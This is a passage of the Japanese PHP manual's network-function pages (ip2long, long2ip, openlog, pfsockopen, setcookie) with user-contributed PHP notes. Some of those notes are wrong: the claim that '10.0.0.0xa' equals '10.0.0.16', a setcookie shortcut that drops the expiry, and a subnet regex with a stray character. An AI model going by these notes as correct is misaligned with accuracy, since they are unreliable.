  return gmp_strval(gmp_init($ipv6long,2),10);
}

function long2ip6($ipv6long) {

  $bin = gmp_strval(gmp_init($ipv6long,10),2);
  if (strlen($bin) < 128) {
    $pad = 128 - strlen($bin);
    for ($i = 1; $i <= $pad; $i++) {
    $bin = "0".$bin;
    }
  }
  $bits = 0;
  while ($bits <= 7) {
    $bin_part = substr($bin,($bits*16),16);
    $ipv6 .= dechex(bindec($bin_part)).":";
    $bits++;
  }
  // compress

  return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}

print $ipv6long =  ip2long6($ipv6)."\n";
print $ipv6 = long2ip6($ipv6long)."\n";

?>

outputs:

42541956150894553250710573749450571880
2001:4860:a005::68
david dot schueler at tel-billig dot de 27-Oct-2009 06:41
To get the network adress out of the broadcast adress and netmask just to an AND on it:

<?php
// simple example
$bcast = ip2long("192.168.178.255");
$smask = ip2long("255.255.255.0");
$nmask = $bcast & $smask;
echo long2ip($nmask); // Will give 192.168.178.0
?>

With this example you are able to check if a given host is in your own local net or not (on linux):

<?php
/**
 * Check if a client IP is in our Server subnet
 *
 * @param string $client_ip
 * @param string $server_ip
 * @return boolean
 */
function clientInSameSubnet($client_ip=false,$server_ip=false) {
    if (!$client_ip)
        $client_ip = $_SERVER['REMOTE_ADDR'];
    if (!$server_ip)
        $server_ip = $_SERVER['SERVER_ADDR'];
    // Extract broadcast and netmask from ifconfig
    if (!($p = popen("ifconfig","r"))) return false;
    $out = "";
    while(!feof($p))
        $out .= fread($p,1024);
    fclose($p);
    // This is because the php.net comment function does not
    // allow long lines.
    $match  = "/^.*".$server_ip;
    $match .= ".*Bcast:(\d{1,3}\.\d{1,3}i\.\d{1,3}\.\d{1,3}).*";
    $match .= "Mask:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/im";
    if (!preg_match($match,$out,$regs))
        return false;
    $bcast = ip2long($regs[1]);
    $smask = ip2long($regs[2]);
    $ipadr = ip2long($client_ip);
    $nmask = $bcast & $smask;
    return (($ipadr & $smask) == ($nmask & $smask));
}
?>
jwadhams1 at yahoo dot com 28-Jul-2009 03:41
I wanted to build on what kaputt and spinyn contributed in a way that I think is a little more intuitive (e.g., let sprintf do all the binary conversion and padding, and let substr_compare do the trimming and comparing):

<?php
function ip_in_network($ip, $net_addr, $net_mask){
    if($net_mask <= 0){ return false; }
        $ip_binary_string = sprintf("%032b",ip2long($ip));
        $net_binary_string = sprintf("%032b",ip2long($net_addr));
        return (substr_compare($ip_binary_string,$net_binary_string,0,$net_mask) === 0);
}

ip_in_network("192.168.2.1","192.168.2.0",24); //true
ip_in_network("192.168.6.93","192.168.0.0",16); //true
ip_in_network("1.6.6.6","128.168.2.0",1); //false
?>
spinyn at gmail dot com 16-Apr-2009 07:51
Just want to add a comment to kaputt's valuable contribution to the task of matching hosts to ip ranges, efficiently.  The script works fine if the binary representation of the ip involves no leading zeros.  Unfortunately, the way decbin() seems to work, leading zeros in the binary representation of the first ip quad get dropped.  That is a serious matter if you're trying to match all possible candidates in the checklist.  In those cases the leading zeros need to be added back to get accurate matches for values in the first quad between 0-127 (or the binary equivalent, 0-01111111).

The solution I came up with to address this issue was the following function:

<?php
function addLeadingZero($ip) {
   if (($result = (32 - strlen($ip))) > 0)
      return str_repeat("0", $result).$ip;
}
?>
chrisp-phpnet at inventivedingo dot com 30-May-2008 07:36
I had a problem with calling this function with REMOTE_ADDR on my lighttpd web server. Turned out that IPv6 was installed on this server, so even though REMOTE_ADDR was an IPv4 address, it was being formatted using IPv6's IPv4 compatibility mode. For example, 10.0.0.1 was becoming ::ffff:10.0.0.1, which caused iplong to report the address as invalid instead of parsing it correctly.

The correct fix would of course be to update my infrastructure so that it's properly IPv6-compatible; but in the context of my particular situation, this would involve a lot of re-engineering. So in the meantime, I worked around the issue using this quick and dirty hack:

<?php
    $ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
    if (strpos($ip, '::') === 0) {
        $ip = substr($ip, strrpos($ip, ':')+1);
    }
    $host = ip2long($ip);
?>

Ugly but functional.
jpmarcotte at gmail dot com 20-May-2008 03:10
In using a combination of jbothe's code below and some of the "$mask = 0xFFFFFFFF << (32 - $bits)" type code, I ran into an error with some later calculations on a 64 bit machine.

Keep in mind that when you're analyzing numbers meant to be treated as 32 bits wide (such as IP addresses), you may want to truncate them. Without relying on other libraries, it was simple enough to follow any calculations that may end with different results on a 64 bit machine with " & 0xFFFFFFFF"

Though in many cases, it seems like it might be simpler to just use "~0 << ..." for initial shifting to create the network mask instead of "0xFFFFFFFF << ...". I don't know that it guarantees further operations to work as expected though.
php dot net at kenman dot net 01-Apr-2008 10:02
To nate, who advises that there is no reason to use an unsigned version of the IP in a MySQL DB:

I think it would depend on your application, but personally, I find it useful to store IP's as unsigneds since MySQL has 2 native functions, INET_ATON() and INET_NTOA(), which work the same as ip2long()/long2ip() _except_ that they generate the unsigned counterpart. So if you want, you could do:

-- IANA Class-B reserved/private
SELECT * FROM `servers`
WHERE `ip` >= INET_ATON('192.168.0.0')
AND `ip` <= INET_ATON('192.168.255.255');

In my current application, I find it easier to use the MySQL built-ins than the PHP counter-parts.

In case you're curious as to the names ATON and NTOA:

ATON = address to number aka. ip2long
NTOA = number to address aka. long2ip
ir on ir id is at gm ai ld ot co m 20-Oct-2007 11:54
Keep in mind that storing IP addresses inside of your database as integers (rather than 15 character strings in decimal format, or 8 character strings in hex format) is hundreds of times faster.

Take the typical case of a MySQL database doing a search for an IP address on thousands (or millions!) of rows; you're either doing a string compare for each entry, or an integer equation. If you do your indexes correctly, your lookups should be literally 100x faster using an INT rather than a VARCHAR.

Also note that an integer doesn't need to be escaped when passed to a database. :)
one tiger one at gee mail dot comm 02-Apr-2007 07:49
I wrote a small function to validate a netmask (We have a form where the netmask of a given server is entered in, and I wanted to make sure it was valid). Hope this is useful.

<?php
// Netmask Validator //
function checkNetmask($ip) {
 if (!ip2long($ip)) {
  return false;
 } elseif(strlen(decbin(ip2long($ip))) != 32 && ip2long($ip) != 0) {
  return false;
 } elseif(ereg('01',decbin(ip2long($ip))) || !ereg('0',decbin(ip2long($ip)))) {
  return false;
 } else {
  return true;
 }
}
?>
laacz at php dot net 16-Feb-2007 01:06
Just to save you some time.

Beware that octets in IP address are being treated as numbers. So, '10.0.0.11' is not equal to '10.0.0.011'. '011' is octal number (base 8), so it converts to '9'. You can even go further and see that '10.0.0.0xa' also works (equals to '10.0.0.16').

This is not PHP issue, though.
Ian B 24-Dec-2006 04:22
NOTE: ip2long() should NOT be used for CIDR calculation.
Instead, you should use something like the following:

<?php
        /* get the base and the bits from the ban in the database */
        list($base, $bits) = explode('/', $CIDR);

        /* now split it up into it's classes */
        list($a, $b, $c, $d) = explode('.', $base);

        /* now do some bit shfiting/switching to convert to ints */
        $i = ($a << 24) + ($b << 16) + ($c << 8) + $d;
        $mask = $bits == 0 ? 0 : (~0 << (32 - $bits));

        /* here's our lowest int */
        $low = $i & $mask;

        /* here's our highest int */
        $high = $i | (~$mask & 0xFFFFFFFF);

        /* now split the ip were checking against up into classes */
        list($a, $b, $c, $d) = explode('.', $iptocheck);

        /* now convert the ip we're checking against to an int */
        $check = ($a << 24) + ($b << 16) + ($c << 8) + $d;

        /* if the ip is within the range, including
      highest/lowest values, then it's witin the CIDR range */
        if ($check >= $low && $check <= $high)
            return 1;
       else
            return 0;
?>

This means that you should check to see if the IP
address is of the correct format each time.
ken at expitrans dot com 31-Aug-2005 03:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
      // determines if a network in the form of 192.168.17.1/16 or
      // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
      $ip_arr = explode('/', $network);
      $network_long = ip2long($ip_arr[0]);

      $x = ip2long($ip_arr[1]);
      $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
      $ip_long = ip2long($ip);

      // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
      return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
01-Dec-2004 06:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
    $this->address = $address;
    $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
    return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
    return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
    return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
    return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>


長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する

  • ≪ ip2long
  • openlog ≫
  • PHP Manual
  • ネットワーク 関数
  • 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する

long2ip

(PHP 4, PHP 5, PHP 7, PHP 8)

long2ip — 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する

説明

long2ip ( int $ip ) : string|false

関数long2ip() は、長整数表現のアドレスからドット表記 (例:aaa.bbb.ccc.ddd)のインターネットアドレスを生成します。

パラメータ

ip

長整数で表した、正しい形式のアドレス。

返り値

インターネットの IP アドレスを表す文字列を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
7.1.0 | ip の型が string から int に変更されました。

注意

注意:

32ビットアーキテクチャでは、IPアドレスの整数表現を string から int にキャストしても PHP_INT_MAX を超える数値については正しい結果を得られません。

参考

  • ip2long() - ドット表記の (IPv4) IP アドレスを、長整数表現に変換する

User Contributed Notes

steve at computurn dot com 30-Oct-2018 01:38
For a 32bit safe long2ip, which can accept string or signed integer input, try:

  function safelong2ip($long) {
    $binStr = sprintf("%032s", decbin((float)$long));
    if (strlen($binStr) != 32) {
      throw new Exception("Invalid IPv4 subnet!");
    }

    $ipArr = [];
    for ($i = 0; $i < 4; ++$i) {
      $ipArr[] = bindec(substr($binStr, $i*8, 8));
    }

    return implode('.', $ipArr);
  }
klawd at kamundo dot de 25-Jan-2012 10:34
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
?>
Anonymous 05-Aug-2011 09:38
If you're running a 32 bit machine you can get wrong IPs. To prevent from this just cast to float e.g.

<?php
long2Ip32bit($ip){
   return long2ip((float)$ip);
}
?>
php dot net at davidstockton dot com 03-Sep-2008 10:28
Beware when processing values that are invalid, you may get values that are different based on the OS.  For instance:

$ip = long2ip(pow(2,32)+1024);

On windows you get 255.255.255.255.  On linux it's 0.0.4.0.

So it seems it would be important to make sure the long you're converting is in the correct range.
Gabriel Malca 17-Mar-2006 05:01
If the function doesn't exist:

<?
    if (!function_exists("long2ip")) {
        function long2ip($long) {
            // Valid range: 0.0.0.0 -> 255.255.255.255
            if ($long < 0 || $long > 4294967295) return false;
            $ip = "";
            for ($i=3;$i>=0;$i--) {
                $ip .= (int)($long / pow(256,$i));
                $long -= (int)($long / pow(256,$i))*pow(256,$i);
                if ($i>0) $ip .= ".";
            }
            return $ip;
        }
    }
?>
flobee 13-Feb-2005 02:50
when importing ip-ranges to a mysql database using an INT(10) field - NOTE: that you will get problems when using intval() function!

copied from "cleong" : 02-Oct-2001 02:21
intval() handles overflow differently depending on the type of the argument.
<?php
// intval('10000000000') = 2147483647
// intval(1e10) = 1410065408
?>
Tom Crosley 16-Feb-2003 01:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);               // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2


システムのロガーへの接続をオープンする

  • ≪ long2ip
  • pfsockopen ≫
  • PHP Manual
  • ネットワーク 関数
  • システムのロガーへの接続をオープンする

openlog

(PHP 4, PHP 5, PHP 7, PHP 8)

openlog — システムのロガーへの接続をオープンする

説明

openlog ( string $prefix , int $flags , int $facility ) : bool

openlog() は、プログラムによるシステムロガーへの接続をオープンします。

openlog() の使用は必須ではありません。この関数は、 必要に応じて syslog() により自動的に呼び出されます。 この場合、prefix のデフォルト値は false となります。

パラメータ

prefix

文字列 prefix が、各メッセージに追加されます。

flags

flags 引数は、 ログメッセージの生成時に使用されるロギング用オプションを指定します。

openlog() のオプション
定数 | 説明
LOG_CONS | システムロガーにデータが送信される間にエラーが発生した場合、 直接、システムコンソールに書き込まれます。
LOG_NDELAY | 直ちにロガーへの接続をオープンします。
LOG_ODELAY | (デフォルト) 最初のメッセージがロギングされるまで接続のオープンを遅延します。
LOG_PERROR | 標準エラー出力にもログメッセージを出力します。
LOG_PID | 各メッセージに PID も含めます。
これらのオプションを一つまたは複数設定することが可能です。 複数のオプションを使用する場合、その論理和を指定します。 つまり、直ちに接続をオープンし、コンソールに書き込み、 各メッセージに PID を含めるには、 LOG_CONS | LOG_NDELAY | LOG_PID とします。

facility

引数 facility には、 ロギングを行う際のメッセージ型を指定します。これにより、 (使用するシステムの syslog の設定に関して) 異なった facility を有するメッセージをどのように処理するかを指定できるようになります。

openlog() の機能
定数 | 説明
LOG_AUTH | セキュリティ/認証用メッセージ (定数 LOG_AUTHPRIV が定義されているシステムでは、代わりにそれを使用してください)
LOG_AUTHPRIV | セキュリティ/認証 メッセージ (プライベート)
LOG_CRON | クロックデーモン (cron や at)
LOG_DAEMON | 他のシステムデーモン
LOG_KERN | カーネルメッセージ
LOG_LOCAL0 ... LOG_LOCAL7 | ローカルでの使用のために確保されているもので、Windows では使用できません
LOG_LPR | ラインプリンタサブシステム
LOG_MAIL | メールサブシステム
LOG_NEWS | USENET ニュース サブシステム
LOG_SYSLOG | syslogd で内部的に生成されたメッセージ
LOG_USER | 一般的なユーザーレベルのメッセージ
LOG_UUCP | UUCP サブシステム

注意:

Windows 環境で使用できるのは LOG_USER だけです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • syslog() - システムログのメッセージを生成する
  • closelog() - システムログへの接続を閉じる

User Contributed Notes

sam dot wankaner at gmail dot com 20-Jan-2015 07:15
In second parameter int $option, PI means Process ID (PID).
That is the unique number given to that process. For eg [30326]
Nimja 30-Jul-2013 11:07
To those curious; switching between different facilities is NOT an issue. There is no apparent memory overhead (nor slowdown) by calling openlog multiple(12 * 10000) times.

Shown by this example:

<?php
$facilities = array(
    LOG_AUTH,
    LOG_AUTHPRIV,
    LOG_CRON,
    LOG_DAEMON,
    LOG_KERN,
    LOG_LOCAL0,
    LOG_LPR,
    LOG_MAIL,
    LOG_NEWS,
    LOG_SYSLOG,
    LOG_USER,
    LOG_UUCP,
);

for ($i = 0; $i < 10000; $i++) {
    foreach ($facilities as $facility) {
        openlog('test', LOG_PID, $facility);
        syslog(LOG_ERR, "This is a test: " . memory_get_usage(true));
    }
}
?>


持続的な Internet または Unix ドメインソケット接続をオープンする

  • ≪ openlog
  • setcookie ≫
  • PHP Manual
  • ネットワーク 関数
  • 持続的な Internet または Unix ドメインソケット接続をオープンする

pfsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

pfsockopen — 持続的な Internet または Unix ドメインソケット接続をオープンする

説明

pfsockopen ( string $hostname , int $port = -1 , int &$errno = ? , string &$errstr = ? , float $timeout = ini_get("default_socket_timeout") ) : resource

この関数は、fsockopen() と全く同様に動作します。 ただし、この関数による接続はリクエストが終了した後でも閉じられないという違いがあります。 この関数は、fsockopen() の持続的接続版です。

パラメータ

パラメータについての情報は fsockopen() のドキュメントを参照ください。

参考

  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする

User Contributed Notes

zuraw 06-Jun-2012 12:17
pfsockopen() works great on IIS/Windows7 installation, it keeps connection open which is good for performance. However, there is one caveat: when connection is broken because of physical net failure, pfsockopen() returns handle as if connection was working. Subsequent call to fwrite() returns false so you have information about error. The problem is that after physical net connection is restored the situation doesn't change: pfsockopen() still returns handle and fwrite() returns false. In other words, PHP sticks to old connection that is not working (if you use fsockopen() instead, it will connect properly). Situation goes back to normal after 30 minutes when PHP closes unused connection.
The solution to this problem is to call fclose() on socket handle when fwrite() returns false.
k dot andris at gmail dot com 11-Dec-2008 10:22
To see if it's really a new connection, or a reused one, you can use ftell() - and see if ther's been any traffic on the connection. If it's more than 0, then it's a reused connection.
ludvig dot ericson at gmail dot com 27-Jul-2007 07:38
Confusion arises as to when PHP starts a new connection using all the
"persistent" versions of any function, and this depends entirely on how you
run your PHP.

In real CGI mode, that is, one process per script, persistent functions do the
exact same as their "temporary" equivalents. If you have a threaded Apache
MPM, this persistence will open a connection per thread, but not immediately.
Think of it as a single PHP instance for each thread.

If you run prefork, the MPM that forks the Apache server into several
accept()ing subprocesses, you'll have one PHP instance per process.

This isn't always true as I might've missed some gotchas, but in general, do
know that a persistent can only try to be persistent.

As for grey at greywyvern dot moc: A cronjob would be a lot better suited
for this, and have it periodically update the index rather than request ~200
pages each time somebody searches, at least from what you describe it as.
bimal dot das at maxartists dot com 07-Jun-2006 11:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
    fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
    fputs($fp, $header.$vars);
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

?>
pulstar at ig dot com dot br 23-Sep-2003 04:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
php dot net at domainofdarkness dot com 29-Jan-2001 03:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.


クッキーを送信する

  • ≪ pfsockopen
  • setrawcookie ≫
  • PHP Manual
  • ネットワーク 関数
  • クッキーを送信する

setcookie

(PHP 4, PHP 5, PHP 7, PHP 8)

setcookie — クッキーを送信する

説明

setcookie ( string $name , string $value = "" , int $expires = 0 , string $path = "" , string $domain = "" , bool $secure = false , bool $httponly = false ) : bool

PHP 7.3.0 以降で使える代替のシグネチャ:

setcookie ( string $name , string $value = "" , array $options = [] ) : bool

setcookie() は、その他のヘッダ情報と共に 送信するクッキーを定義します。 ほかのヘッダ情報と同様に、 クッキーは、スクリプトによる他のあらゆる出力よりも前に 送信される必要があります（これはHTTPプロトコルの制約です）。 <html> や <head> タグはもちろん 空白も含め、あらゆる出力よりも前にこの関数をコールするようにしなければなりません。

一度クッキーが送信されると、次のページのロードからは $_COOKIE 配列によってクッキーにアクセスできます。 クッキーの値は $_REQUEST 配列からもアクセスできるかもしれません。

パラメータ

setcookie() の各パラメータがどのように作用するのかを知るには » RFC 6265 を参照ください。

name

クッキーの名前。

value

クッキーの値。この値はクライアントのコンピュータに保存されますので、 重要な情報は格納しないでください。 name が 'cookiename' だとすると、 その値は $_COOKIE['cookiename'] で取得することができます。

expires

クッキーの有効期限。これは Unix タイムスタンプなので Epoch（1970 年 1 月 1 日）からの経過秒数となります。 time() または mktime() 関数により 返された現在のUNIX標準時に、期限としたい必要な秒数を加算したものを 利用することができるでしょう。 time()+60*60*24*30 はクッキーの有効期限を 30 日後にセットします。 0 を設定したり省略したりした場合は、クッキーはセッションの最後 (つまりブラウザを閉じるとき) が有効期限となります。

注意:

expires パラメータには、Wdy, DD-Mon-YYYY HH:MM:SS GMT といった形式ではなく Unix タイムスタンプを渡していることにお気づきでしょうか。 これは、PHP の内部で自動的に変換を行っているからです。

path

サーバー上での、クッキーを有効としたいパス '/' をセットすると、クッキーは domain 配下の全てで有効となります。 '/foo/' をセットすると、クッキーは /foo/ ディレクトリとそのサブディレクトリ配下 (例えば /foo/bar/) で有効となります。 デフォルト値は、クッキーがセットされたときのカレントディレクトリです。

domain

クッキーが有効な (サブ) ドメイン。これを 'www.example.com' などのサブドメインに設定すると、 www サブドメインおよびそれ自身のすべてのサブドメイン (w2.www.example.com など) でクッキーが使えるようになります。 サブドメインを含むドメイン全体でクッキーを有効にしたければ、そのドメイン自体 (この場合は 'example.com') を設定します。

古いブラウザの中には、非推奨になった » RFC 2109 を実装しているものが未だに残っているかもしれません。 そのようなブラウザでは、すべてのサブドメインにマッチさせるためには先頭に . が必要となります。

secure

クライアントからのセキュアな HTTPS 接続の場合にのみクッキーが送信されるようにします。 true を設定すると、セキュアな接続が存在する場合にのみクッキーを設定します。 サーバー側では、このようにセキュアな接続の場合にのみクッキーを送信するという処理は プログラマの責任で行うことになります (たとえば $_SERVER["HTTPS"] の内容を使用します)。

httponly

true を設定すると、HTTP を通してのみクッキーにアクセスできるようになります。 つまり、JavaScript のようなスクリプト言語からはアクセスできなくなるということです。 この設定を使用すると、XSS 攻撃によって ID を盗まれる危険性を減らせる (が、すべてのブラウザがこの設定をサポートしているというわけではありません) と言われていますが、これはしばしば議論の対象となります。 true あるいは false で指定します。

options

expires, path, domain, secure, httponly および samesite のうちから、任意のキーを設定可能な連想配列(array)です。 これら以外のキーが存在する場合、E_WARNING レベルの警告が発生します。 値については、キーと同じ名前のパラメーターで説明した意味と同じです。 samesite 要素の値は、 None, Lax または Strict です。 上記で許されているオプションのうち、与えられなかったものについては、 デフォルト値は明示的にパラメータを与えた場合のデフォルト値と同じです。 samesite 要素が省略された場合は、SameSite クッキー属性は設定されません。

返り値

もしもこの関数をコールする前に何らかの出力がある場合には、 setcookie() は失敗し false を返します。 setcookie() が正常に実行されると、true を返します。 この関数では、ユーザーがクッキーを受け入れたかどうかを判断することはできません。

例

以下はクッキーを送信する例です。

例1 setcookie() での送信の例

<?php
$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600);  /* 有効期限は一時間です */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>

クッキーの value の部分は、クッキーの送信を行う際に自動的に URL エンコードされ、またクッキーを受信した際は、自動的にデコード されてクッキー名と同じ名前の変数に格納されることに注意してください。 この挙動が気に入らない場合、 代わりに setrawcookie() を使ってください。 スクリプト内部で TestCookie の内容を見たい場合は、 以下のいずれかの例を使用します。

<?php
// 個々のクッキーを表示します
echo $_COOKIE["TestCookie"];

// デバッグ／テスト用には、全てのクッキーを見る方法があります。
print_r($_COOKIE);
?>

例2 setcookie() による削除の例

クッキーを削除する場合には、ブラウザの削除機構を起動するために 必ず有効期限を過去に設定する必要があります。 次に、先ほどの例で送信したクッキーを削除する例を示します。

<?php
// 有効期限を一時間前に設定します
setcookie("TestCookie", "", time() - 3600);
setcookie("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

例3 setcookie() と配列

クッキー名で配列を記述することにより、クッキーの配列を設定することも可能です。 これにより配列要素と同数のクッキーを設定されますが、 クッキーがスクリプトに受信された際に、 値はクッキー名を有する配列に置きかえられます。

<?php
// クッキーを設定します
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// ページを再読み込みした後に、表示します
if (isset($_COOKIE['cookie'])) {
    foreach ($_COOKIE['cookie'] as $name => $value) {
        $name = htmlspecialchars($name);
        $value = htmlspecialchars($value);
        echo "$name : $value <br />\n";
    }
}
?>

上の例の出力は以下となります。

three : cookiethree
two : cookietwo
one : cookieone

注意: [ や ] のような区切り文字を Cookie の名前の一部として使ってしまうと、RFC 6265 section 4 違反になります。 しかし、RFC 6265, section 5 によると、 ユーザーエージェントがこうした区切り文字をサポートしていることが想定されています。

変更履歴

バージョン | 説明
7.3.0 | options 配列をサポートする追加のシグネチャが追加されました。 このシグネチャは、SameSite クッキー属性の設定もサポートしています。

注意

注意:

この関数をコールする前でも出力できるように、 スクリプトの全ての出力をサーバー内にバッファリングさせることができます。 そのためには、ob_start() や ob_end_flush() を使用するか、あるいは php.ini やサーバー設定ファイルの output_buffering を使用します。

陥りやすい失敗

  • クッキーは、クッキーを有効にするために次にページをロードするまで アクセスすることができません。クッキーが正常にセットされたか テストするために、クッキーの有効期限が切れる前に次のページを ロードしてクッキーをチェックしてください。 有効期限は expires 引数でセットされます。 クッキーの利用についてデバッグするのに良い方法は print_r($_COOKIE); をコールすることです。
  • クッキーは設定されたものと同じパラメータで削除する必要があります。 値が空文字列あるいは false で、その他の全ての引数が前に setcookie をコールした時と同じである場合に、指定された名前のクッキーが リモートクライアント上から削除されます。 内部的な動作として、これは値を 'deleted' に変更した上で有効期限を 1 年前に設定しています。
  • クッキーの値として false を設定すると、クッキーを削除しようとします。 そのため、boolean 値は使用できません。その代わりとして、 false ではなく 0、そして true ではなく 1 を使用します。
  • クッキー名で配列を記述することにより、 クッキーの配列を設定することも可能ですが、複数のクッキー がユーザーのシステム上に保存されることになります。 explode() を使用して ひとつのクッキー上に複数の名前と値をセットすることも 考慮してください。serialize() の使用はセキュリティーホールになり得るため、 この目的のために使用することはお勧めしません。

setcookie() を複数回コールした場合は、コールした順番で実行されます。

参考

  • header() - 生の HTTP ヘッダを送信する
  • setrawcookie() - 値を URL エンコードせずにクッキーを送信する
  • クッキー
  • » RFC 6265
  • » RFC 2109

User Contributed Notes

Anonymous 04-Oct-2020 07:36
Chrome versions prior to version 67 reject samesite=none cookies. And starting in Chrome version 84 samesite=none cookies without the secure attribute are also rejected. But that doesn't mean you can't set cookies on an unencrypted connection. The simple way around it is to use browser sniffing to detect samesite=none compatible browsers:

$cookie_string = 'set-cookie: name=value';

if (!preg_match('/Chrom[^ \/]+\/([0-9]+)[\.0-9]* /', $_SERVER['HTTP_USER_AGENT'], $matches) || $matches[1]>66 && $matches[1]<84) {// match samesite=none compatible browsers
    $cookie_string.= '; samesite=none';
}

header($cookie_string, false);// set cookie
Anonymous 04-Aug-2020 04:24
Just an example to clarify the use of the array options, especially since Mozilla is going to deprecate / penalise the use of SameSite = none,  which is used by default if not using array options.

<?php
$arr_cookie_options = array (
                'expires' => time() + 60*60*24*30,
                'path' => '/',
                'domain' => '.example.com', // leading dot for compatibility or use subdomain
                'secure' => true,     // or false
                'httponly' => true,    // or false
                'samesite' => 'None' // None || Lax  || Strict
                );
setcookie('TestCookie', 'The Cookie Value', $arr_cookie_options);
?>
synnus at gmail dot com 03-Aug-2020 10:04
The " PHPSESSID " cookie will soon be rejected because its " sameSite " attribute is set to " none " or an invalid value, and without " secure " attribute. To learn more about the "sameSite" attribute, visit https://developer.mozilla.org/docs/Web/HTTP/Headers/Set-Cookie/SameSite.

<?php
 ini_set("session.cookie_secure", 1);
 session_start();

my PHP code ....

?>
Anonymous 19-May-2020 12:29
To add the "samesite" attribute, you can concatenate it to the path option until it gets implemented/documented properly
Eg:
<?php
    setcookie('cookie_name', 'cookie_value', 0, '/; SameSite=strict');
?>
user at example.com 23-Jan-2020 07:47
As of PHP 7.3.0 the setcookie() method supports the SameSite attribute in its options and will accept None as a valid value.

For earlier versions of PHP,  you can set the header() directly:

header('Set-Cookie: cross-site-cookie=bar; SameSite=None; Secure');
fapchat at gmail dot com 18-Jan-2020 11:15
Instead of this:
<?php setcookie( "TestCookie", $value, strtotime( '+30 days' ) ); ?>

You can this:
<?php setcookie( "TestCookie"); ?>
niall at maranelda dot org 09-Oct-2019 09:28
Be warned! PHP will mangle the names of incoming cookies far more than others have detailed below!

Theoretically, the following non-alphanumeric characters are allowed in a cookie name:

!#$%&'()*+-./:<>?@[]^_`{|}~

However, if you do this:

<?php
    setcookie('!#$%&\'()*+-./:<>?@[]^_`{|}~', 123);
    setcookie('!#$%&\'()*+-./:<>?@[^_`{|}~', 466);
